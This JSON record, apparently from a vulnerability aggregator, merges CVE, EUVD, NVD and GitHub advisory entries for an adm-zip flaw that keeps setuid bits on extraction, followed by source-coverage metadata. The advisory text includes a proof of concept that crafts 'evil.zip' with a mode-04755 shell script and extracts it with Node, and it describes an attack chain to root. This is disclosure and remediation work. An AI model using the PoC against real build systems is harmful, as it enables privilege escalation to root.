{"id":"CVE-2026-102282","revision":null,"records":[{"revision":"27bd398d92634632a83292ce8f85855e","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-102282","aliases":[],"title":"adm-zip extraction preserves SUID/SGID bits from untrusted ZIPs -> local privilege escalation","description":"adm-zip is a JavaScript library for creating and extracting ZIP archives in Node.js. Prior to 0.6.1, adm-zip applies the Unix permission bits stored in a zip entry directly to the extracted file via `fs.chmodSync()` when `keepOriginalPermission=true` is passed to `extractAllTo()`/`extractEntryTo()` — and it never filters the setuid/setgid/sticky bits out of those bits. A zip crafted by an attacker can therefore produce an extracted binary with mode `04755`. When extraction runs as root (the default posture in Docker builds, CI runners, and privileged install steps — the exact environments where this flag is used), the resulting root-owned setuid file is executed later by a lesser-privileged user, turning the attacker's code into a root execution. Version 0.6.1 fixes the issue.","state":0,"publishedAt":"2026-10-05T17:00:00.25+00:00","modifiedAt":"2026-10-07T20:53:52.156+00:00","affected":[{"ecosystem":"Vendor product","name":"adm-zip","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"cthackers\",\n                    \"product\": \"adm-zip\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 0.6.1\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","score":7.1,"severity":"HIGH"}],"references":["https://github.com/cthackers/adm-zip/security/advisories/GHSA-j5f4-cc29-5x44","https://github.com/cthackers/adm-zip/commit/6a63c339b83c52915483efacda517660a7a7bf87","https://github.com/cthackers/adm-zip/releases/tag/v0.6.1"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-102282","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-102282","identifiers":["CVE-2026-102282"]},"retained":false,"historicalAffected":[]},{"revision":"d047eb1dd21443a196763414eff6e7ce","observedAt":"2026-11-11T05:29:04.909+00:00","statement":{"source":"euvd","id":"EUVD-2026-92493","aliases":["CVE-2026-102282","GHSA-j5f4-cc29-5x44"],"title":"adm-zip is a JavaScript library for creating and extracting ZIP archives in Node.js. Prior to 0.6.1, adm-zip applies the Unix permission bits stored in a zip entry directly to the extracted file via `fs.chmodSync()` when `keepOriginalPermis…","description":"adm-zip is a JavaScript library for creating and extracting ZIP archives in Node.js. Prior to 0.6.1, adm-zip applies the Unix permission bits stored in a zip entry directly to the extracted file via `fs.chmodSync()` when `keepOriginalPermission=true` is passed to `extractAllTo()`/`extractEntryTo()` — and it never filters the setuid/setgid/sticky bits out of those bits. A zip crafted by an attacker can therefore produce an extracted binary with mode `04755`. When extraction runs as root (the default posture in Docker builds, CI runners, and privileged install steps — the exact environments where this flag is used), the resulting root-owned setuid file is executed later by a lesser-privileged user, turning the attacker's code into a root execution. Version 0.6.1 fixes the issue.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","score":7.1,"severity":null}],"references":["https://github.com/cthackers/adm-zip/security/advisories/GHSA-j5f4-cc29-5x44","https://github.com/cthackers/adm-zip/commit/6a63c339b83c52915483efacda517660a7a7bf87","https://github.com/cthackers/adm-zip/releases/tag/v0.6.1"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-92493","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Oct 5, 2026, 5:00:00 PM","dateUpdated":"Oct 7, 2026, 8:53:52 PM"},"relatedAdvisories":[{"id":"RHSA-2026:92510","title":"Red Hat Security Advisory: RHOAI 3.4.6 - Red Hat OpenShift AI","vulnerabilityIds":["CVE-2023-54404","CVE-2026-11822","CVE-2026-11824","CVE-2026-13717","CVE-2026-16221","CVE-2026-17106","CVE-2026-18446","CVE-2026-25681","CVE-2026-26007","CVE-2026-27136","CVE-2026-33814","CVE-2026-33818","CVE-2026-39821","CVE-2026-39834","CVE-2026-41178","CVE-2026-42502","CVE-2026-45819","CVE-2026-45820","CVE-2026-56853","CVE-2026-56858","CVE-2026-56859","CVE-2026-56860","CVE-2026-56862","CVE-2026-57516","CVE-2026-59951","CVE-2026-63209","CVE-2026-63374","CVE-2026-65898","CVE-2026-67312","CVE-2026-67314","CVE-2026-67320","CVE-2026-67321","CVE-2026-69097","CVE-2026-69153","CVE-2026-73086","CVE-2026-73088","CVE-2026-73089","CVE-2026-73643","CVE-2026-75838","CVE-2026-75899","CVE-2026-75931","CVE-2026-75975","CVE-2026-76172","CVE-2026-76844","CVE-2026-77301","CVE-2026-78679","CVE-2026-82397","CVE-2026-83663","CVE-2026-84375","CVE-2026-84445","CVE-2026-85393","CVE-2026-85525","CVE-2026-87018","CVE-2026-90711","CVE-2026-91990","CVE-2026-92599","CVE-2026-93690","CVE-2026-93749","CVE-2026-94637","CVE-2026-96640","CVE-2026-96643","CVE-2026-96644","CVE-2026-96778","CVE-2026-96804","CVE-2026-97687","CVE-2026-97689","CVE-2026-102267","CVE-2026-102271","CVE-2026-102272","CVE-2026-102276","CVE-2026-102278","CVE-2026-102282","CVE-2026-104150","CVE-2026-104851","CVE-2026-105922","CVE-2026-106445","CVE-2026-106446","CVE-2026-109156","CVE-2026-109383","CVE-2026-109527","CVE-2026-109829","CVE-2026-109869","CVE-2026-109956","CVE-2026-110856","CVE-2026-110857","CVE-2026-110858","CVE-2026-110859","CVE-2026-111064","CVE-2026-111066","CVE-2026-111497","CVE-2026-112390","CVE-2026-112391","CVE-2026-112392","CVE-2026-112397","CVE-2026-112399","CVE-2026-112400","CVE-2026-112402","CVE-2026-112404","CVE-2026-112405","CVE-2026-112893","CVE-2026-112894","CVE-2026-112895","CVE-2026-112896","CVE-2026-112897","CVE-2026-112940","CVE-2026-114145"]},{"id":"RHSA-2026:86675","title":"Red Hat Security Advisory: Ansible plug-ins for Red Hat Developer Hub Product Release Update","vulnerabilityIds":["CVE-2026-77037","CVE-2026-77301","CVE-2026-82333","CVE-2026-90711","CVE-2026-92955","CVE-2026-93749","CVE-2026-102282","CVE-2026-102990","CVE-2026-106501","CVE-2026-106503"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-92493","identifiers":["EUVD-2026-92493","CVE-2026-102282","GHSA-j5f4-cc29-5x44"]},"retained":false,"historicalAffected":[]},{"revision":"51c742c70cb94442a10d6448e1a5d675","observedAt":"2026-10-25T04:17:26.915+00:00","statement":{"source":"nvd","id":"CVE-2026-102282","aliases":[],"title":"adm-zip is a JavaScript library for creating and extracting ZIP archives in Node.js. Prior to 0.6.1, adm-zip applies the Unix permission bits stored in a zip entry directly to the extracted file via `fs.chmodSync()` when `keepOriginalPermis…","description":"adm-zip is a JavaScript library for creating and extracting ZIP archives in Node.js. Prior to 0.6.1, adm-zip applies the Unix permission bits stored in a zip entry directly to the extracted file via `fs.chmodSync()` when `keepOriginalPermission=true` is passed to `extractAllTo()`/`extractEntryTo()` — and it never filters the setuid/setgid/sticky bits out of those bits. A zip crafted by an attacker can therefore produce an extracted binary with mode `04755`. When extraction runs as root (the default posture in Docker builds, CI runners, and privileged install steps — the exact environments where this flag is used), the resulting root-owned setuid file is executed later by a lesser-privileged user, turning the attacker's code into a root execution. Version 0.6.1 fixes the issue.","state":0,"publishedAt":"2026-10-05T17:17:08.11+00:00","modifiedAt":"2026-10-07T21:17:07.297+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","score":7.1,"severity":"HIGH"}],"references":["https://github.com/cthackers/adm-zip/commit/6a63c339b83c52915483efacda517660a7a7bf87","https://github.com/cthackers/adm-zip/releases/tag/v0.6.1","https://github.com/cthackers/adm-zip/security/advisories/GHSA-j5f4-cc29-5x44"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102282","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-732"],"productCriteria":[],"sourceDates":{"published":"2026-10-05T17:17:08.110","lastModified":"2026-10-07T21:17:07.297"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-102282","identifiers":["CVE-2026-102282"]},"retained":false,"historicalAffected":[]},{"revision":"b39baa3e621b4ed2bac3caf339d2ca99","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-j5f4-cc29-5x44","aliases":["CVE-2026-102282"],"title":"adm-zip extraction preserves SUID/SGID bits from untrusted ZIPs -> local privilege escalation","description":"## Summary\n\nadm-zip applies the Unix permission bits stored in a zip entry directly to the extracted file via `fs.chmodSync()` when `keepOriginalPermission=true` is passed to `extractAllTo()`/`extractEntryTo()` — and it never filters the setuid/setgid/sticky bits out of those bits. A zip crafted by an attacker can therefore produce an extracted binary with mode `04755`. When extraction runs as root (the default posture in Docker builds, CI runners, and privileged install steps — the exact environments where this flag is used), the resulting root-owned setuid file is executed later by a lesser-privileged user, turning the attacker's code into a root execution.\n\n## Details\n\nThe mode a zip entry wants is read back from the external file attributes in the header, and the mask used keeps every special bit:\n\n```js\n// headers/entryHeader.js:187\nget fileAttr() {\n    return (_attr || 0) >> 16 & 0xfff;\n}\n```\n\n`0xfff` is `0o7777` — it preserves setuid (`0o4000`), setgid (`0o2000`) and the sticky bit (`0o1000`) along with the rwx bits. Shifting by 16 is the standard Unix convention for where zip stores the mode; the mask is the problem.\n\nWhen the flag is on, that value goes straight to the write:\n\n```js\n// adm-zip.js:726-727 (extractEntryTo, and identically in extractAllTo)\nconst fileAttr = keepOriginalPermission ? entry.header.fileAttr : undefined;\nfiletools.writeFileTo(target, content, overwrite, fileAttr);\n```\n\n```js\n// util/utils.js:94\nself.fs.chmodSync(path, attr || 0o666);\n```\n\nNo `& 0o777`, no stripping of `0o7000`. Attacker-controlled bytes in the zip decide the final mode of a file the library creates on disk. Directory entries are affected too (`adm-zip.js:855`), so a setgid bit on a directory entry also carries over and gives new files inside it group inheritance.\n\n## PoC\n\nTested against adm-zip@0.6.0 (latest as of 2026-08-01), Node 22, Linux.\n\n1. Craft a zip with a setuid binary using standard tooling (this is the\n   realistic attacker path — no adm-zip APIs involved in creating it):\n\n```bash\npython3 -c \"\nimport zipfile\nzi = zipfile.ZipInfo('pysuidbin')\nzi.external_attr = 0o4755 << 16\nwith zipfile.ZipFile('evil.zip', 'w') as z:\n    z.writestr(zi, '#!/bin/sh\\nid\\n')\n\"\n```\n\n2. Extract with the flag enabled:\n\n```js\nconst AdmZip = require('adm-zip');\nnew AdmZip('evil.zip').extractAllTo('/tmp/out', true, true);\n\nconst fs = require('fs');\nconst st = fs.statSync('/tmp/out/pysuidbin');\nconsole.log((st.mode & 0o7777).toString(8));\n// => 4755   (setuid bit set — the file is root-owned if the extractor runs as root)\n```\n\n3. Control — same zip, default extraction (`keepOriginalPermission=false`):\n   mode comes out `0666`, no setuid. The flag is the enabler.\n\nAlternative supply path, if the zip is built in-process with adm-zip's own API:\n\n```js\nconst zip = new AdmZip();\nzip.addFile('suidbin', Buffer.from('#!/bin/sh\\nid\\n'), '', 0o4755);\nzip.writeZip('evil.zip');\nnew AdmZip('evil.zip').extractAllTo('/tmp/out', true, true);\n// same result: stat mode & 0o7777 === 0o4755\n```\n\n## Impact\n\nPrivilege escalation. \nThe vulnerability class is CWE-732 (incorrect permission assignment): permission bits taken from untrusted input are applied with no filtering.\n\nRealistic chain:\n\n1. Attacker supplies a zip (upload endpoint, fetched dependency archive, artifact in a build script — no special access needed to produce the file).\n2. A pipeline or service extracts it as root with `keepOriginalPermission=true`. Docker builds run as root by default and CI/install steps commonly do too; this flag is specifically the tooling used in permission-preserving deploy flows.\n3. The root-owned setuid file leaves the build, typically preserved by  `cp -a`/rsync mode-bit propagation, into the runtime environment.\n4. An unprivileged app user or service account executes it (the standard build-as-root/run-as-user model) — the attacker's code runs as root.\n\nWho is impacted: applications and pipelines that extract untrusted archives with `keepOriginalPermission=true` while running as root. \nDefault-usage deployments (flag off) are not affected; non-root extraction results in a harmless self-owned setuid file. \nSeverity: Medium\n\nSuggested fix, one line in the getter:\n\n```js\nget fileAttr() {\n    return (_attr >> 16) & 0o777;\n}\n```","state":0,"publishedAt":"2026-09-29T18:24:57+00:00","modifiedAt":"2026-10-08T10:56:40.691028+00:00","affected":[{"ecosystem":"npm","name":"adm-zip","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.6.1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/cthackers/adm-zip/security/advisories/GHSA-j5f4-cc29-5x44","https://github.com/cthackers/adm-zip/commit/6a63c339b83c52915483efacda517660a7a7bf87","https://github.com/cthackers/adm-zip","https://github.com/cthackers/adm-zip/releases/tag/v0.6.1"],"sourceUrl":"https://github.com/advisories/GHSA-j5f4-cc29-5x44","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-j5f4-cc29-5x44","identifiers":["GHSA-j5f4-cc29-5x44","CVE-2026-102282"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-11T09:57:43.3267414+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-11T09:57:43.3267414+00:00","lastSuccessAt":"2026-11-11T09:57:46.3036784+00:00","error":null,"lastVerifiedAt":"2026-11-11T09:57:46.3038639+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-de3b77103708811b6494d2ff7c979037d73ae579742cd1649a5c765137ae5083-f19af5e22c13aa688d23829fe96c281d0deaf6cf2f8cee6748f54f5a479127b2","complete":true,"records":424021,"lastAttemptAt":"2026-11-11T09:57:38.9264743+00:00","lastSuccessAt":"2026-11-11T09:25:54.5258746+00:00","error":null,"lastVerifiedAt":"2026-11-11T09:57:38.9264743+00:00","snapshotPublishedAt":"2026-11-11T09:25:28+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-f581ef223ba240a69a1abcff00ee4876","complete":true,"records":13758,"lastAttemptAt":"2026-11-11T09:58:42.1822037+00:00","lastSuccessAt":"2026-11-11T09:58:42.065+00:00","error":null,"lastVerifiedAt":"2026-11-11T09:58:42.065+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13812,"expectedIdentifiers":13812,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-11T09:57:43.3267414+00:00","complete":true,"records":1097,"lastAttemptAt":"2026-11-11T09:57:43.3267414+00:00","lastSuccessAt":"2026-11-11T09:57:52.273871+00:00","error":null,"lastVerifiedAt":"2026-11-11T09:57:52.273872+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-304fa97221904da4b3dcd306fc4b8a4b","complete":true,"records":13752,"lastAttemptAt":"2026-11-11T09:57:53.9573384+00:00","lastSuccessAt":"2026-11-11T09:26:01.454+00:00","error":null,"lastVerifiedAt":"2026-11-11T09:26:01.454+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13812,"expectedIdentifiers":13812,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-3562b6c78fd1bd0f0b55daf66a0926ae24f65e462df7f6d928caad458fc696bf","complete":true,"records":9947,"lastAttemptAt":"2026-11-11T09:57:42.4406155+00:00","lastSuccessAt":"2026-11-11T04:27:43.6877707+00:00","error":null,"lastVerifiedAt":"2026-11-11T09:57:42.4406155+00:00","snapshotPublishedAt":"2026-11-11T03:32:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-456002455e0ab94bb92c95476d4e6d175c104cd594749982afd96c893728ecbc","complete":true,"records":2010,"lastAttemptAt":"2026-11-11T09:57:39.9639043+00:00","lastSuccessAt":"2026-11-11T02:36:58.1276999+00:00","error":null,"lastVerifiedAt":"2026-11-11T09:57:39.9639043+00:00","snapshotPublishedAt":"2026-11-11T01:17:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-2bc186fc4a8179fd66d765079d475b0b8e3af9f89b57dcc310e7773ded48b2cc","complete":true,"records":3088,"lastAttemptAt":"2026-11-11T09:57:43.196106+00:00","lastSuccessAt":"2026-11-11T09:25:59.9234294+00:00","error":null,"lastVerifiedAt":"2026-11-11T09:57:43.196106+00:00","snapshotPublishedAt":"2026-11-11T09:02:55+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-085e065fc9050ae18408f7e722c39653aeb186872334d7b3ec1fcafb7ed43d25","complete":true,"records":231665,"lastAttemptAt":"2026-11-11T09:57:41.7897107+00:00","lastSuccessAt":"2026-11-11T08:27:45.2700102+00:00","error":null,"lastVerifiedAt":"2026-11-11T09:57:41.7897107+00:00","snapshotPublishedAt":"2026-11-11T07:32:59+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}